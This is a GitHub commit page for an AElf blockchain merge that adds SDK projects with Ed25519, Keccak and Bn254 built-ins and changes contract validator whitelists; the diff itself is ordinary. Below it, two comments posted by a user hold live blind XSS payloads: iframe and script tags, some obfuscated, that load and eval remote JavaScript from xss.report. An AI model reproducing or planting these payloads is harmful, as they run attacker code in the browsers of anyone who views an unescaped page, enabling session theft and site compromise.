Skip to content

Commit

Permalink
Merge pull request #3614 from AElfProject/feature/whitelist-to-sdk
Browse files Browse the repository at this point in the history
Add a new whitelist solution
  • Loading branch information
JimAelf authored Dec 14, 2024
2 parents 29143a2 + 94abd2a commit 71c5095
Show file tree
Hide file tree
Showing 26 changed files with 688 additions and 42 deletions.
14 changes: 14 additions & 0 deletions AElf.All.sln
Original file line number Diff line number Diff line change
Expand Up @@ -385,6 +385,10 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AElf.Kernel.FeatureDisable.
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AElf.Kernel.FeatureDisable.Core", "src\AElf.Kernel.FeatureDisable.Core\AElf.Kernel.FeatureDisable.Core.csproj", "{659A7C7A-44C9-424E-B4F6-D1D3656F7AD4}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AElf.Sdk.CSharp.Spec", "src\AElf.Sdk.CSharp.Spec\AElf.Sdk.CSharp.Spec.csproj", "{45A77C41-142E-4296-A14A-D53067EC8B75}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AElf.Sdk.CSharp.Internal", "src\AElf.Sdk.CSharp.Internal\AElf.Sdk.CSharp.Internal.csproj", "{A77380A7-E425-45A3-BF3F-F865DA4F3F4E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Expand Down Expand Up @@ -1107,6 +1111,14 @@ Global
{659A7C7A-44C9-424E-B4F6-D1D3656F7AD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{659A7C7A-44C9-424E-B4F6-D1D3656F7AD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{659A7C7A-44C9-424E-B4F6-D1D3656F7AD4}.Release|Any CPU.Build.0 = Release|Any CPU
{45A77C41-142E-4296-A14A-D53067EC8B75}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{45A77C41-142E-4296-A14A-D53067EC8B75}.Debug|Any CPU.Build.0 = Debug|Any CPU
{45A77C41-142E-4296-A14A-D53067EC8B75}.Release|Any CPU.ActiveCfg = Release|Any CPU
{45A77C41-142E-4296-A14A-D53067EC8B75}.Release|Any CPU.Build.0 = Release|Any CPU
{A77380A7-E425-45A3-BF3F-F865DA4F3F4E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{A77380A7-E425-45A3-BF3F-F865DA4F3F4E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{A77380A7-E425-45A3-BF3F-F865DA4F3F4E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{A77380A7-E425-45A3-BF3F-F865DA4F3F4E}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
Expand Down Expand Up @@ -1301,5 +1313,7 @@ Global
{A4ACE6D2-4CF8-4B52-93C9-BB8BEC0C098E} = {90B310B4-C2DB-419E-B5EE-97FA096B62CC}
{8C0D86A4-D1A7-4B61-AC44-755F5AC75D67} = {4E54480A-D155-43ED-9736-1A5BE7957211}
{659A7C7A-44C9-424E-B4F6-D1D3656F7AD4} = {90B310B4-C2DB-419E-B5EE-97FA096B62CC}
{45A77C41-142E-4296-A14A-D53067EC8B75} = {798BAA50-825B-4DD9-83E2-77A9EE6EBE09}
{A77380A7-E425-45A3-BF3F-F865DA4F3F4E} = {798BAA50-825B-4DD9-83E2-77A9EE6EBE09}
EndGlobalSection
EndGlobal
40 changes: 20 additions & 20 deletions azure-pipelines.yml
Original file line number Diff line number Diff line change
@@ -1,20 +1,20 @@
# Azure Pipelines configuration file
jobs:
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 1
# codecoverage: true
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 2
# codecoverage: false
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 3
# codecoverage: false
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 1
# codecoverage: true
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 2
# codecoverage: false
# - template: templates/build-template-window.yml
# parameters:
# parts: 3
# n: 3
# codecoverage: false
- template: templates/build-template-linux.yml
parameters:
parts: 3
Expand All @@ -40,9 +40,9 @@ jobs:
parts: 3
n: 2
codecoverage: true
# - template: templates/build-template-macos.yml
# parameters:
# parts: 3
# n: 3
# codecoverage: true
# - template: templates/build-template-macos.yml
# parameters:
# parts: 3
# n: 3
# codecoverage: true

3 changes: 3 additions & 0 deletions nuget.config
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" protocolVersion="3"/>
<add key="aelf" value="https://www.myget.org/F/aelf-project-dev/api/v3/index.json" protocolVersion="3"/>
<add key="Nuget Test" value="https://int.nugettest.org/api/v2" />
<add key="nexus" value="https://nexus-poc.test.aelf.dev/repository/nuget-group/index.json" protocolVersion="3" />
</packageSources>
</configuration>
2 changes: 1 addition & 1 deletion src/AElf.CSharp.CodeOps/AElf.CSharp.CodeOps.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
<ItemGroup>
<PackageReference Include="Basic.Reference.Assemblies.Net80" Version="1.5.0" />
<PackageReference Include="Mono.Cecil" Version="0.11.4" />
<PackageReference Include="Groth16.Net" Version="1.1.0" />
<PackageReference Include="Groth16.Net" Version="1.1.2" />
<PackageReference Include="Poseidon.Net" Version="0.1.1" />
</ItemGroup>

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ public void Patch(ModuleDefinition module)
return;

// ReSharper disable once IdentifierTypo
var nmspace = module.Types.Single(m => m.BaseType is TypeDefinition).Namespace;
var nmspace = module.Types.Where(IsContractType).Single().Namespace;

var proxyBuilder = new Patch(module, nmspace);

Expand All @@ -28,6 +28,20 @@ public void Patch(ModuleDefinition module)

module.Types.Add(proxyBuilder.ObserverType);
}
private static bool IsContractType(TypeDefinition type)
{
if (type.FullName.StartsWith("AElf.Sdk.CSharp.CSharpSmartContract`1"))
return true;
if (type.BaseType is TypeDefinition baseType)
return IsContractType(baseType);
if(type.BaseType is GenericInstanceType baseType0)
return IsContractType(baseType0);
return false;
}
private static bool IsContractType(GenericInstanceType type)
{
return type.FullName.StartsWith("AElf.Sdk.CSharp.CSharpSmartContract`1");
}
}

internal class MethodPatcher
Expand Down
3 changes: 2 additions & 1 deletion src/AElf.CSharp.CodeOps/Validators/Method/ArrayValidator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
using System.Linq;
using System.Threading;
using AElf.CSharp.Core;
using AElf.Types;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Volo.Abp.DependencyInjection;
Expand All @@ -24,7 +25,7 @@ public class ArrayValidator : IValidator<MethodDefinition>, ITransientDependency
.LimitByTotalSize(typeof(decimal), sizeof(decimal))
.LimitByTotalSize(typeof(char), sizeof(char))
.LimitByTotalSize(typeof(String), 128) // Need to limit the size of strings by disallowing String.Concat
.LimitByTotalSize(typeof(BigIntValue), 128)
// It isn't possible to estimate runtime sizes for below, so limit by count
.LimitByCount(typeof(Type), 5)
.LimitByCount(typeof(Object), 5) // Support object in Linq queries
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -231,6 +231,8 @@ private bool IsBadStateField(FieldDefinition field)
if (_allowedStateTypes.Contains(field.FieldType.FullName))
return false;

if(field.FieldType.Resolve().BaseType.FullName == typeof(StructuredState).FullName)
return false;
// If not ContractReferenceState then it is not allowed
return field.FieldType.Resolve().BaseType.FullName != typeof(ContractReferenceState).FullName;
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -49,8 +49,6 @@ private void WhitelistAssemblies(Whitelist whitelist)
.Assembly(typeof(IMethod).Assembly, Trust.Full) // AElf.CSharp.Core
.Assembly(typeof(SecretSharingHelper).Assembly, Trust.Partial) // AElf.Cryptography
.Assembly(typeof(ISmartContractBridgeContext).Assembly, Trust.Full) // AElf.Kernel.SmartContract.Shared
.Assembly(typeof(Groth16.Net.Verifier).Assembly, Trust.Full) // AElf.Cryptography.ECDSA
.Assembly(typeof(Poseidon.Net.Poseidon).Assembly, Trust.Full)
;
}

Expand All @@ -64,6 +62,15 @@ private void WhitelistSystemTypes(Whitelist whitelist)
.Type("Func`1", Permission.Allowed) // Required for protobuf generated code
.Type("Func`2", Permission.Allowed) // Required for protobuf generated code
.Type("Func`3", Permission.Allowed) // Required for protobuf generated code
.Type("Func`4", Permission.Allowed)
.Type("ValueTuple`1", Permission.Allowed)
.Type("ValueTuple`2", Permission.Allowed)
.Type("ValueTuple`3", Permission.Allowed)
.Type("ValueTuple`4", Permission.Allowed)
.Type("ValueTuple`5", Permission.Allowed)
.Type("ValueTuple`6", Permission.Allowed)
.Type("ValueTuple`7", Permission.Allowed)
.Type("ValueTuple`8", Permission.Allowed)
.Type("Nullable`1", Permission.Allowed) // Required for protobuf generated code
.Type(typeof(BitConverter), Permission.Denied, member => member
.Member(nameof(BitConverter.GetBytes), Permission.Allowed))
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configuration>Release</Configuration>
<GeneratePackageOnBuild>true</GeneratePackageOnBuild>
</PropertyGroup>

<ItemGroup>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configuration>Release</Configuration>
<GeneratePackageOnBuild>true</GeneratePackageOnBuild>
</PropertyGroup>

<ItemGroup>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ public IExecutionObserverThreshold GetExecutionObserverThreshold(IBlockIndex blo
var branchCountObserverThreshold = GetBlockExecutedData(blockIndex, BranchCountThresholdKey)?.Value ??
SmartContractConstants.ExecutionBranchThreshold;
var callCountObserverThreshold = GetBlockExecutedData(blockIndex, CallCountThresholdKey)?.Value ??
SmartContractConstants.ExecutionBranchThreshold;
SmartContractConstants.ExecutionCallThreshold;
return new ExecutionObserverThreshold
{
ExecutionBranchThreshold = branchCountObserverThreshold,
Expand Down
2 changes: 1 addition & 1 deletion src/AElf.Runtime.CSharp.Core/ContractCodeLoadContext.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ protected override Assembly Load(AssemblyName assemblyName)
/// <returns></returns>
private Assembly LoadFromFolderOrDefault(AssemblyName assemblyName)
{
if (assemblyName.Name.StartsWith("AElf.Sdk"))
if ("AElf.Sdk.CSharp".Equals(assemblyName.Name))
{
// Sdk assembly should NOT be shared
using var stream = _sdkStreamManager.GetStream(assemblyName);
Expand Down
3 changes: 3 additions & 0 deletions src/AElf.Runtime.CSharp/AElf.Runtime.CSharp.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,9 @@

<ItemGroup>
<PackageReference Include="Mono.Cecil" Version="0.11.4" />
<PackageReference Include="Bn254.Net" Version="0.1.0" />
<PackageReference Include="Rebex.Elliptic.Ed25519" Version="1.2.1"/>
<PackageReference Include="Nethereum.Web3" Version="4.21.4"/>
</ItemGroup>

<ItemGroup>
Expand Down
28 changes: 28 additions & 0 deletions src/AElf.Sdk.CSharp.Internal/AElf.Sdk.CSharp.Internal.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
<PackageId>AElf.Sdk.CSharp.Internal</PackageId>
<GeneratePackageOnBuild>true</GeneratePackageOnBuild>
<LangVersion>latest</LangVersion>
<Description>Types for the C# smart contract SDK.</Description>
<RootNamespace>AElf.Sdk.CSharp.Internal</RootNamespace>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="Bn254.Net" Version="0.1.0" >
<PrivateAssets>all</PrivateAssets>
</PackageReference>
<PackageReference Include="Rebex.Elliptic.Ed25519" Version="1.2.1">
<PrivateAssets>all</PrivateAssets>
</PackageReference>
<PackageReference Include="Nethereum.Web3" Version="4.21.4">
<PrivateAssets>all</PrivateAssets>
</PackageReference>
</ItemGroup>

<ItemGroup>
<ProjectReference Include="..\AElf.Sdk.CSharp.Spec\AElf.Sdk.CSharp.Spec.csproj"/>
</ItemGroup>

</Project>
3 changes: 3 additions & 0 deletions src/AElf.Sdk.CSharp.Internal/AssemblyInfo.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
using System.Runtime.CompilerServices;

[assembly: InternalsVisibleTo("AElf.Sdk.CSharp")]
61 changes: 61 additions & 0 deletions src/AElf.Sdk.CSharp.Internal/InternalBuiltIns.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
using System;
using AElf.Sdk.CSharp.Spec;
using Bn254.Net;
using Nethereum.Util;

namespace AElf.Sdk.CSharp.Internal;

internal class InternalBuiltIns : IBuiltIns
{
public static void Initialize()
{
// call this method to ensure this assembly is loaded in the runtime.
}

public bool Ed25519Verify(byte[] signature, byte[] message, byte[] publicKey)
{
try
{
var instance = new Rebex.Security.Cryptography.Ed25519();
instance.FromPublicKey(publicKey);
return instance.VerifyMessage(message, signature);
}
catch (Exception e)

Check warning on line 23 in src/AElf.Sdk.CSharp.Internal/InternalBuiltIns.cs

View workflow job for this annotation

GitHub Actions / build-and-test

The variable 'e' is declared but never used

Check warning on line 23 in src/AElf.Sdk.CSharp.Internal/InternalBuiltIns.cs

View workflow job for this annotation

GitHub Actions / build-and-test

The variable 'e' is declared but never used

Check warning on line 23 in src/AElf.Sdk.CSharp.Internal/InternalBuiltIns.cs

View workflow job for this annotation

GitHub Actions / test

The variable 'e' is declared but never used
{
return false;
}
}

public byte[] Keccak256(byte[] message)
{
return Sha3Keccack.Current.CalculateHash(message);
}

public (byte[] x, byte[] y) Bn254G1Mul(byte[] x1, byte[] y1, byte[] s)
{
var (xUInt256, yUInt256) = Bn254.Net.Bn254.Mul(UInt256.FromBigEndianBytes(x1), UInt256.FromBigEndianBytes(y1),
UInt256.FromBigEndianBytes(s));
return (xUInt256.ToBigEndianBytes(), yUInt256.ToBigEndianBytes());
}

public (byte[] x3, byte[] y3) Bn254G1Add(byte[] x1, byte[] y1, byte[] x2, byte[] y2)
{
var (x3UInt256, y3UInt256) = Bn254.Net.Bn254.Add(UInt256.FromBigEndianBytes(x1), UInt256.FromBigEndianBytes(y1),
UInt256.FromBigEndianBytes(x2), UInt256.FromBigEndianBytes(y2));
return (x3UInt256.ToBigEndianBytes(), y3UInt256.ToBigEndianBytes());
}

public bool Bn254Pairing((byte[], byte[], byte[], byte[], byte[], byte[])[] input)
{
var elements = new (UInt256, UInt256, UInt256, UInt256, UInt256, UInt256)[input.Length];
for (var i = 0; i < input.Length; i++)
{
var (x1, y1, x2, y2, x3, y3) = input[i];
elements[i] = (UInt256.FromBigEndianBytes(x1), UInt256.FromBigEndianBytes(y1),
UInt256.FromBigEndianBytes(x2), UInt256.FromBigEndianBytes(y2),
UInt256.FromBigEndianBytes(x3), UInt256.FromBigEndianBytes(y3));
}

return Bn254.Net.Bn254.Pairing(elements);
}
}
11 changes: 11 additions & 0 deletions src/AElf.Sdk.CSharp.Spec/AElf.Sdk.CSharp.Spec.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Configuration>Release</Configuration>
<GeneratePackageOnBuild>true</GeneratePackageOnBuild>
</PropertyGroup>

</Project>
10 changes: 10 additions & 0 deletions src/AElf.Sdk.CSharp.Spec/IBuiltIns.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
namespace AElf.Sdk.CSharp.Spec;

public interface IBuiltIns
{
bool Ed25519Verify(byte[] signature, byte[] message, byte[] publicKey);
byte[] Keccak256(byte[] message);
(byte[] x, byte[] y) Bn254G1Mul(byte[] x1, byte[] y1, byte[] s);
(byte[] x3, byte[] y3) Bn254G1Add(byte[] x1, byte[] y1, byte[] x2, byte[] y2);
bool Bn254Pairing((byte[], byte[], byte[], byte[], byte[], byte[])[] input);
}
1 change: 1 addition & 0 deletions src/AElf.Sdk.CSharp/AElf.Sdk.CSharp.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
<ProjectReference Include="..\AElf.Cryptography\AElf.Cryptography.csproj" />
<ProjectReference Include="..\AElf.CSharp.Core\AElf.CSharp.Core.csproj" />
<ProjectReference Include="..\AElf.Kernel.SmartContract.Shared\AElf.Kernel.SmartContract.Shared.csproj" />
<ProjectReference Include="..\AElf.Sdk.CSharp.Internal\AElf.Sdk.CSharp.Internal.csproj" />
</ItemGroup>

</Project>
3 changes: 3 additions & 0 deletions src/AElf.Sdk.CSharp/CSharpSmartContractAbstract.cs
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
using AElf.Kernel.SmartContract;
using AElf.Types;
using AElf.Sdk.CSharp.Spec;

namespace AElf.Sdk.CSharp;

Expand All @@ -20,4 +21,6 @@ protected void Assert(bool asserted, string message = "Assertion failed!")
}

internal abstract void InternalInitialize(ISmartContractBridgeContext bridgeContext);

public IBuiltIns BuiltIns { get; internal set; }
}
Loading

2 comments on commit 71c5095

@suwarsomno
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">

<

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><ifr"+"ame srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/c/l");a.send();</script> <script>$.getScript("//xss.report/c/l")</script>

"><script>$.getScript("//xss.report/c/l")</script>

">]">]



@suwarsomno
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">

<

"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><ifr"+"ame srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss.report/c/l";parent.document.body.appendChild(a);</script>">

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//xss.report/c/l");a.send();</script> <script>$.getScript("//xss.report/c/l")</script>

"><script>$.getScript("//xss.report/c/l")</script>

">]">]



Please sign in to comment.